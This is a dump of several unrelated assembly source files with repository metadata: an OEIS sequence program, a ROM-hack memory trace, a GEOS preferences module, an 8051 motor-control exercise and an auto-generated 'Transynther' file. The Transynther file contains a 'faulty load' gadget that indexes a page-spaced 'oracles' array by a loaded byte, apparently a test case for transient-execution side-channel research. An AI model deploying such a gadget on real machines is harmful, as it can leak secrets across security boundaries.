a9a57e07411e8b018d3719f4b2d4745f02f6b28a
739
asm
Assembly
programs/oeis/138/A138585.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/138/A138585.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/138/A138585.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A138585: The sequence is formed by concatenating subsequences S1, S2, ... each of finite length. S1 consists of the element 1. The n-th subsequence consist of numbers {(n/2)*(n/2 - 1)+ 1, ..., (n/2)*(n/2 + 1)} for n even, {((n-1)/2)^2, ..., (n-1)/2 * ((n-1)/2 + 2)} for n odd. ; 1,1,2,1,2,3,3,4,5,6,4,5,6,7,8,7,8,9,10,11,12,9,10,11,12,13,14,15,13,14,15,16,17,18,19,20,16,17,18,19,20,21,22,23,24,21,22,23,24,25,26,27,28,29,30,25,26,27,28,29,30,31,32,33,34,35,31,32,33,34,35,36,37,38,39,40,41,42,36,37,38,39,40,41,42,43,44,45,46,47,48,43,44,45,46,47,48,49,50,51 lpb $0 mov $2,$0 seq $2,130296 ; Triangle read by rows: T[i,1]=i, T[i,j]=1 for 1 < j <= i = 1,2,3,... sub $0,$2 mov $3,$0 min $3,1 add $1,$3 lpe add $1,1 mov $0,$1
52.785714
282
0.589986
9f97870acd7b452acfbebbf273ca85582020d570
4,685
asm
Assembly
dino/lcs/enemy/1E.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/enemy/1E.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/enemy/1E.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 0017B6 move.w D0, ($1e,A6) 0017BA move.b ($22,A6), D0 00188A add.w ($1e,A6), D1 00188E move.w D1, ($18,A6) 0018CE add.w ($1e,A6), D0 [123p+ 18, enemy+18, item+18] 0018D2 move.w D0, ($18,A6) [123p+ 1E, enemy+1E, item+1E] 00491C move.l D0, (A4)+ 00491E move.l D0, (A4)+ 004D3E move.l D0, (A4)+ 004D40 dbra D1, $4d38 02A764 move.w D0, ($1e,A6) 02A768 move.b #$1, ($51,A6) 02A8EE move.w D0, ($1e,A6) 02A8F2 move.b #$1, ($51,A6) 02AA3E move.w D0, ($1e,A6) 02AA42 bra $2aac6 02AA78 move.w D0, ($1e,A6) 02AA7C bra $2aac6 02AAC2 move.w D0, ($1e,A6) 02AAC6 tst.w ($6c,A6) 02ACF2 move.w D0, ($1e,A6) 02ACF6 bsr $2ad98 02AE64 move.w D0, ($1e,A6) 02AE68 addq.b #2, ($7,A6) 02AF38 move.w D0, ($1e,A6) 02AF3C addq.b #2, ($7,A6) 033D5C clr.w ($1e,A6) [enemy+18] 033D60 move.w #$300, ($16,A6) 0346D4 move.w D0, ($1e,A6) 0346D8 moveq #$0, D0 03CA72 clr.w ($1e,A6) 03CA76 rts 03CD6E move.w D0, ($1e,A6) 03CD72 moveq #$0, D0 [enemy+1E] 03EC48 move.w D0, ($1e,A6) 03EC4C move.w D0, ($16,A6) 03FF08 move.w #$0, ($1e,A6) [enemy+1C] 03FF0E move.w #$0, ($10,A6) 041544 move.w #$0, ($1e,A6) 04154A move.w #$0, ($18,A6) 041550 bra $41560 041560 clr.b ($c8,A6) 041666 move.w #$0, ($1e,A6) 04166C move.w #$0, ($16,A6) 0418A0 move.w #$0, ($1e,A6) 0418A6 jsr $32b68.l 04220C clr.w ($1e,A6) 042210 move.b #$3e, ($58,A6) 042E4E clr.w ($1e,A6) [enemy+18] 042E52 rts 0432D0 clr.w ($1e,A6) [enemy+18] 0432D4 rts 04607E clr.w ($1e,A6) [enemy+18] 046082 rts 0462CA clr.w ($1e,A6) [enemy+18] 0462CE rts 046580 clr.w ($1e,A6) [enemy+18] 046584 rts 0468C8 clr.w ($1e,A6) [enemy+18] 0468CC rts 048DCC move.w D0, ($1e,A6) 048DD0 addq.b #2, ($7,A6) 04E308 clr.w ($1e,A6) 04E30C move.b #$1, ($51,A6) 04EE68 move.w D0, ($1e,A6) 04EE6C move.b #$1, ($51,A6) 0501C8 move.w D0, ($1e,A0) 0501CC move.w ($744,A5), D0 050440 move.w D1, ($1e,A6) 050444 jsr $97d2.l 0505E8 move.w D0, ($1e,A2) 0505EC addq.b #2, ($7,A6) 050A68 clr.w ($1e,A4) [enemy+18] 050A6C move.w #$80, D1 050ACA clr.w ($1e,A4) 050ACE move #$1, CCR 053656 clr.w ($1e,A6) 05365A clr.b ($22,A6) 053996 move.w D0, ($1e,A6) 05399A move.w D0, ($16,A6) 0559E4 move.w #$0, ($1e,A6) [enemy+1C] 0559EA move.w #$0, ($18,A6) 055DBC clr.w ($1e,A6) [enemy+18] 055DC0 rts 055E1C clr.w ($1e,A6) [enemy+18] 055E20 rts 055E94 clr.w ($1e,A6) [enemy+18] 055E98 rts 0592B0 move.w #$0, ($1e,A6) [enemy+1C] 0592B6 tst.b ($24,A6) 059356 move.w #$0, ($1e,A6) [enemy+1C] 05935C tst.b ($24,A6) 059C36 move.w #$0, ($1e,A6) [enemy+1C] 059C3C tst.b ($24,A6) 059DB6 move.w D0, ($1e,A6) 059DBA move.w D0, ($16,A6) 05B396 clr.w ($1e,A6) 05B39A rts 05B420 clr.w ($1e,A6) 05B424 rts 05F01C clr.w ($1e,A6) 05F020 tst.b ($51,A6) 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
39.041667
350
0.605763
1145218a9f1478c1f21ba889d398ea340f4f2183
5,567
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_422.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_422.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_422.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x10288, %rsi lea addresses_D_ht+0x1c088, %rdi nop nop nop sub $871, %rbx mov $44, %rcx rep movsq inc %r10 lea addresses_D_ht+0xbc8, %r12 nop nop nop sub %r14, %r14 mov (%r12), %rsi nop nop inc %rbx lea addresses_WC_ht+0xc2d0, %rsi lea addresses_WT_ht+0x19888, %rdi nop nop nop nop nop xor $45106, %r11 mov $7, %rcx rep movsl nop nop nop nop nop add $27796, %rsi lea addresses_normal_ht+0x3888, %rsi lea addresses_WT_ht+0x1b498, %rdi nop nop nop nop dec %r12 mov $31, %rcx rep movsl nop nop dec %rbx lea addresses_normal_ht+0x10428, %rsi nop nop nop nop nop xor $43728, %rbx mov $0x6162636465666768, %r14 movq %r14, %xmm4 vmovups %ymm4, (%rsi) nop nop nop add %r14, %r14 lea addresses_WT_ht+0x13c88, %rsi lea addresses_A_ht+0x5588, %rdi nop nop nop cmp $60990, %rbx mov $83, %rcx rep movsb nop nop nop nop nop cmp $38030, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r9 push %rdi push %rdx push %rsi // Faulty Load lea addresses_RW+0x2888, %rdx nop xor $18863, %rsi movups (%rdx), %xmm4 vpextrq $0, %xmm4, %r11 lea oracles, %r12 and $0xff, %r11 shlq $12, %r11 mov (%r12,%r11,1), %r11 pop %rsi pop %rdx pop %rdi pop %r9 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
40.34058
2,999
0.664451
98dc9e31eec636d3ec8f4a2fba239dd1ac8d9ade
1,908
asm
Assembly
Library/Pref/Prefpag/prefpagManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Pref/Prefpag/prefpagManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Pref/Prefpag/prefpagManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Prefpag FILE: prefpagManager.asm AUTHOR: Jennifer Wu, Apr 1, 1993 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 4/ 1/93 Initial revision DESCRIPTION: $Id: prefpagManager.asm,v 1.1 97/04/05 01:29:46 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ include geos.def include heap.def include geode.def include resource.def include ec.def include library.def include object.def include graphics.def include gstring.def include win.def include char.def include Objects/inputC.def include initfile.def include fileEnum.def include driver.def ;----------------------------------------------------------------------------- ; Libraries used ;----------------------------------------------------------------------------- UseLib ui.def UseLib config.def UseLib Objects/vTextC.def UseLib emailtmp.def ; for iacp stuff ;----------------------------------------------------------------------------- ; DEF FILES ;----------------------------------------------------------------------------- include pagerwatcher.def ; for communicating with pager watcher include prefpag.def include prefpag.rdef idata segment PrefPagDialogClass PrefPagDynamicListClass idata ends ;------------------------------------------------------------------------- ; RESOURCES ;------------------------------------------------------------------------- include prefpag.asm
24.151899
80
0.411426
3c3737791fcc83a7d8c0c00a33b3a6a6b0b790be
4,237
a51
Assembly
OrgEVM/OEVM_L2/main_float.a51
sandyre/ifmo_course3
f697b2308acec149c67b1fbba326e2264da88f29
[ "MIT" ]
3
2017-06-19T20:39:26.000Z
2020-09-14T04:15:53.000Z
OrgEVM/OEVM_L2/main_float.a51
sandyre/ifmo_course3
f697b2308acec149c67b1fbba326e2264da88f29
[ "MIT" ]
null
null
null
OrgEVM/OEVM_L2/main_float.a51
sandyre/ifmo_course3
f697b2308acec149c67b1fbba326e2264da88f29
[ "MIT" ]
2
2018-11-12T18:42:09.000Z
2019-12-20T03:12:34.000Z
XSEG AT 0 result: DS 1 CSEG AT 0 jmp START input: DB 0xC0 START: clr a // Transform from 2-d // r0 - sign true/false // r1 - low // r2 - high // r3 - result low // r4 - result high mov r2, P1 // high mov r1, P0 // low mov a, r2 anl a, #0x80 mov r0, a //result = (high & 0x0f) * 100 + // ((low & 0xf0) >> 4) * 10 + // (low & 0x0f); mov a, r2 anl a, #0x0F mov b, #0x64 mul ab mov r4, b // r4 = sotni mov r3, a mov a, r1 anl a, #0xF0 rr a rr a rr a rr a mov b, #0x0A mul ab add a, r3 mov r3, a // r3 = sotni + desyatki mov a, r1 anl a, #0x0F add a, r3 mov r3, a // r4 and r3 = number // if(negative != 0) result *= -1; //mov a, r4 //orl a, r0 //mov r4, a //for( i; i < 7; ++i ) // { // result <<= 1; // if( result >= 1000 ) // { // trueResult++; // result -= 1000; // } // if( i != 6 ) // { // trueResult <<= 1; // } // } // trueResult |= isNegative; // return trueResult; mov r1, #0 //result mov r5, #7 //counter // comparing r4 with 3 and r3 with E8 FROM2D_MAIN_LOOP: //result <<= 1; mov a, r4 rlc a mov r4, a mov a, r3 rlc a mov r3, a mov a, r4 jnc FROM2D_NOT_C mov a, r4 inc a mov r4, a FROM2D_NOT_C: // if( result >= 1000 ) mov a, r4 mov b, #2 subb a, b jc FROM2D_NOT_GREATER_THAN_1000 FROM2D_GREATER_THAN_1000_1: mov a, r3 mov b, #0xE7 subb a, b jc FROM2D_NOT_GREATER_THAN_1000 FROM2D_GREATER_THAN_1000_2: // trueResult++; inc r1 // result -= 1000; mov a, r4 mov b, #3 subb a, b mov r4, a mov a, r3 mov b, #0xE8 subb a, b mov r3, a FROM2D_NOT_GREATER_THAN_1000: // if( i != 6 ) // { // trueResult <<= 1; // } mov a, r5 mov b, #0 subb a, b jnz FROM2D_NOT_EQU_6 ajmp FROM2D_EQU_6 FROM2D_NOT_EQU_6: mov a, r1 rl a mov r1, a dec r5 ajmp FROM2D_MAIN_LOOP FROM2D_EQU_6: FROM2D_MAIN_LOOP_END: // set sign mov a, r1 mov b, r0 orl a, b mov r1, a // write to dataseg mov DPTR, #result mov a, r1 movx @DPTR, a nop nop nop SECOND_PART: //byte &= 0x7f; // result = byte; // for( i; i < 7; ++i ) // { // if(byte & 0x01) // { // result += 1000; // } // result >>= 1; // byte >>= 1; // } //-------------- // load byte //char isNegative = byte & 0x80; clr a mov DPTR, #input movc a, @a+DPTR mov r1, a anl a, #0x80 mov r0, a //byte &= 0x7f; mov a, r1 anl a, #0x7F mov r1, a // for( i; i < 7; ++i ) mov r5, #6 mov r4, #0 mov r3, #0 TO2D_MAIN_LOOP: mov a, r1 anl a, #0x01 jz TO2D_NOT_1 //if(byte & 0x01) //{ // result += 1000; //} mov a, r3 add a, #0xE8 mov r3, a mov a, r4 addc a, #0x03 mov r4, a TO2D_NOT_1: //result >>= 1; //byte >>= 1; mov a, r3 rr a mov r3, a mov a, r4 rrc a mov r4, a jnc TO2D_ROR_HAVE_NO_1 mov a, r3 mov b, #0x80 add a, b mov r3, a TO2D_ROR_HAVE_NO_1: mov a, r1 rr a mov r1, a //check for end loop mov a, r5 mov b, #0 subb a, b jnz TO2D_MAIN_LOOP_AGAIN ajmp TO2D_MAIN_LOOP_END TO2D_MAIN_LOOP_AGAIN: dec r5 ajmp TO2D_MAIN_LOOP TO2D_MAIN_LOOP_END: // Transform to 2-d // r0 - sign // r1 - low // r2 - high // r3 - result low // r4 - result high // r5 - sotney // r6 - desyatkey // r7 - edenecey mov a, r4 mov r2, a mov a, r3 mov r1, a // sign detected already // devisioning 1C8 XYZ mov a, r2 // mov SX to A anl a, #0x0F // 0X rl a rl a rl a rl a mov r5, a // save X0 mov a, r1 // mov A YZ anl a, #0xF0 // Y0 rr a rr a rr a rr a add a, r5 // 1C mov b, #0x0A div ab mov r7, b // 8 to r7 mov r5, a // 2 to r5 mov a, b // A = 08 rl a rl a rl a rl a mov b, r1 // C8 anl b, #0x0F // 08 add a, b // 88 mov b, #0x0A div ab // A = D B = 6 mov r7, b mov b, a // save 0D to B mov a, r5 rl a rl a rl a rl a // 20 add a, b // 2D mov b, #0x0A div ab mov r5, a mov r6, b // constructing the output mov a, r5 orl a, r0 mov r4, a mov a, r6 rl a rl a rl a rl a orl a, r7 mov r3, a // send it to the ports mov P2, r3 mov P3, r4 END
15.520147
38
0.519235
c7107afbfec15df435a92122f9c02a6bb8e15bbf
495
asm
Assembly
oeis/289/A289504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/289/A289504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/289/A289504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A289504: Decimal expansion of 2*(1+3^(3/2)/(2*Pi)). ; Submitted by Jamie Morken(s4) ; 3,6,5,3,9,8,6,6,8,6,2,6,5,3,7,6,1,4,8,5,3,3,9,7,9,4,9,4,9,3,8,9,0,8,3,2,4,1,9,2,1,5,9,4,4,1,0,9,9,9,2,1,9,5,8,3,9,8,0,9,8,0,6,0,8,7,3,0,9,0,9,1,0,4,0,7,8,0,9,3,8,4,5,2,1,1 mov $1,3 mov $3,$0 mul $3,4 lpb $3 mov $6,$1 mul $1,2 mov $5,$3 cmp $5,0 add $3,$5 div $6,$3 add $1,$6 add $2,$1 mul $1,2 sub $3,1 lpe mov $4,10 pow $4,$0 div $2,$4 cmp $5,0 add $2,$5 div $1,$2 mov $0,$1 mod $0,10
17.678571
173
0.519192
2a73d8ce58861a208aa996c6911b4ffeacf1add9
5,762
asm
Assembly
Exercise_1/partB.asm
dekoperez/SEL0433_microprocessorAplications
4581af1e5f383eedd8181e941740318368b36a30
[ "MIT" ]
null
null
null
Exercise_1/partB.asm
dekoperez/SEL0433_microprocessorAplications
4581af1e5f383eedd8181e941740318368b36a30
[ "MIT" ]
null
null
null
Exercise_1/partB.asm
dekoperez/SEL0433_microprocessorAplications
4581af1e5f383eedd8181e941740318368b36a30
[ "MIT" ]
null
null
null
;******************************************************************************* ; @INSTITUTION ; University of Sao Paulo | Sao Carlos School of Engineering | SEL ;------------------------------------------------------------------------------ ; @DISCIPLINE ; Name: SEL0433 | Applications of Microprocessors I ; Professor: Evandro Luis Linhari Rodrigues ; Semester: 2017\01 ;------------------------------------------------------------------------------ ; @DEVELOPMENT ; MCU: Intel 8052 ; IDE: MCU 8051 v1.5.7 ; Compiler: IDE native assembler ;------------------------------------------------------------------------------ ; @WARRANTY ; Copyright (c) 2017 Andre Marcos Perez ; The software is provided by "as is", without warranty of any kind, express or ; implied, including but not limited to the warranties of merchantability, ; fitness for a particular purpose and noninfringement. In no event shall the ; authors or copyright holders be liable for any claim, damages or other ; liability, whether in an action of contract, tort or otherwise, arising from, ; out of or in connection with the software or the use or other dealings in the ; software. ;------------------------------------------------------------------------------ ; @EXERCISE ; Ex. : # 1 ; Part: # B ;------------------------------------------------------------------------------ ; @AUTHOR ; Name: Andre Marcos Perez ; Email: andre.marcos.perez@usp.br ; #USP: 8006891 ;******************************************************************************* ;******************************************************************************* ; @VARIABLE ; Code's variables ;------------------------------------------------------------------------------ MOTOR_CONTROL_0 BIT P2.1 MOTOR_CONTROL_1 BIT P2.7 ;******************************************************************************* ;******************************************************************************* ; @MACROS ; Code's macros ;------------------------------------------------------------------------------ ; @Description ; Stops motor ;------------------------------------------------------------------------------ MOTOR_STOP MACRO CLR MOTOR_CONTROL_0 CLR MOTOR_CONTROL_1 ENDM ;------------------------------------------------------------------------------ ; @Description ; Turns motor clockwise ;------------------------------------------------------------------------------ MOTOR_TURN_CLOCKWISE MACRO SETB MOTOR_CONTROL_0 CLR MOTOR_CONTROL_1 ENDM ;------------------------------------------------------------------------------ ; @Description ; Turns motor counter clockwise ;------------------------------------------------------------------------------ MOTOR_TURN_COUNTERCLOCKWISE MACRO CLR MOTOR_CONTROL_0 SETB MOTOR_CONTROL_1 ENDM ;******************************************************************************* ;******************************************************************************* ; @CODE ; Main code ;------------------------------------------------------------------------------ ORG 0 LJMP MAIN ORG 03H LJMP ISR_INT0_SENSOR MAIN: SETB IT0 SETB EX0 SETB EA MOTOR_TURN_CLOCKWISE SJMP $ ;******************************************************************************* ;******************************************************************************* ; @ROUTINE ; DELAY_5_SECONDS ;------------------------------------------------------------------------------ ; @Description ; Generates a delay of approximately 5 seconds (5s and 159μs) by decrementing ; three registers with defined values plus the time to switch context. These ; values were calculated considering a 12Mhz crystal by the following equation: ; delay(μs)=(((2R5)+4))R6+3))R7+3. The microntroller does not perfom any other ; operation while counting unless interrupted by a interruption service routine. ;------------------------------------------------------------------------------ ; @Precondition ; R5: Must be free to be used ; R6: Must be free to be used ; R7: Must be free to be used ;------------------------------------------------------------------------------ ; @Param ; Void ;------------------------------------------------------------------------------ ; @Returns ; Void ;------------------------------------------------------------------------------ DELAY_5_SECONDS: MOV R5,#026H LOOP_1: MOV R6,#0FFH LOOP_0: MOV R7,#000H NOP DJNZ R7,$ DJNZ R6,LOOP_0 DJNZ R5,LOOP_1 RET ;******************************************************************************* ;******************************************************************************* ; @INTERRUPTION ; ISR_INT0_SENSOR ;------------------------------------------------------------------------------ ; @Description ; Stops the motor and calls a 5 seconds delay. If the sensor isr is triggerd ; by a product, turns the motor counterclockwise, else calls another 5 seconds ; delay and turns the motor clockwise. The if-else decision block is controlled ; by the general flag F0 from the special function register PSW. ;------------------------------------------------------------------------------ ; @Precondition ; F0: Must be free to be used ;------------------------------------------------------------------------------ ; @Param ; Void ;------------------------------------------------------------------------------ ; @Returns ; Void ;------------------------------------------------------------------------------ ISR_INT0_SENSOR: MOTOR_STOP LCALL DELAY_5_SECONDS JNB F0,COUNTERCLOCKWISE_DIRECTION LCALL DELAY_5_SECONDS MOTOR_TURN_CLOCKWISE CLR F0 RETI COUNTERCLOCKWISE_DIRECTION: MOTOR_TURN_COUNTERCLOCKWISE SETB F0 RETI ;******************************************************************************* END
37.660131
81
0.385456
376ff3163e26455e711231a36d1dc9a219072e59
3,463
nasm
Assembly
BootloaderCommonPkg/Library/ThunkLib/Ia32/Thunk32To64.nasm
cshur/slimbootloader
30e24581266f98c68c8bcf9c5adf0b88b769b931
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
299
2018-09-13T23:17:25.000Z
2022-03-19T14:25:54.000Z
BootloaderCommonPkg/Library/ThunkLib/Ia32/Thunk32To64.nasm
cshur/slimbootloader
30e24581266f98c68c8bcf9c5adf0b88b769b931
